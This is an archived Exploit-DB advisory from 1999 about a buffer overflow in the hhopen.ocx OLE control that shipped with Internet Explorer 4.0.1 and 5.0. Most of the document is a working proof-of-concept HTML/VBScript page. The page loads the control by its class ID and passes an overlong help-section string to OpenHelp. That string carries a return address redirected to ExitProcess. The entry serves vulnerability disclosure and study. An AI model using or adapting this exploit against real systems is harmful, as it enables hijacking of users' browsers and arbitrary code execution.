Microsoft Internet Explorer 5.0/4.0.1 hhopen OLE Control Buffer Overflow Vulnerability

1999-09-27T00:00:00
ID EDB-ID:19521
Type exploitdb
Reporter Shane Hird
Modified 1999-09-27T00:00:00

Description

Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4/Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0 hhopen OLE Control ...

                                        
                                            Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4/Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0 hhopen OLE Control Buffer Overflow Vulnerability

source: http://www.securityfocus.com/bid/669/info

There is a buffer overflow in the 1.0.0.1 version of the hhopen OLE control (hhopen.ocx) that ships with some versions of Internet Explorer. This control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the OLE control is run in a malicious manner. 

HHOPEN:

This control is a little more difficult to exploit, as the 
RET address is in the middle of the string, and once again 
there is no easy way to RET to our code, so I have RET'd to 
ExitProcess directly instead. In this case, OpenHelp is the 
vulnerable method, and the exploit is possible when the 
method is called with a valid help file, and a long Help 
Section.

<object
   classid="clsid:130D7743-5F5A-11D1-B676-00A0C9697233"
 id="hhopen"></OBJECT>

<script language="vbscript"><!--

msgbox("hhopen OLE Control Module Buffer Overrun" + Chr(10) 
+ "Written By Shane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

'Where the RET address appears to be, RET to ExitProcess 
(BFF8D4CA)
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'Extra padding to trigger the overrun
expstr = expstr 
+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA"

'Call exploitable method, note the valid help file
hhopen.OpenHelp "Winhlp32.hlp", expstr

--></script>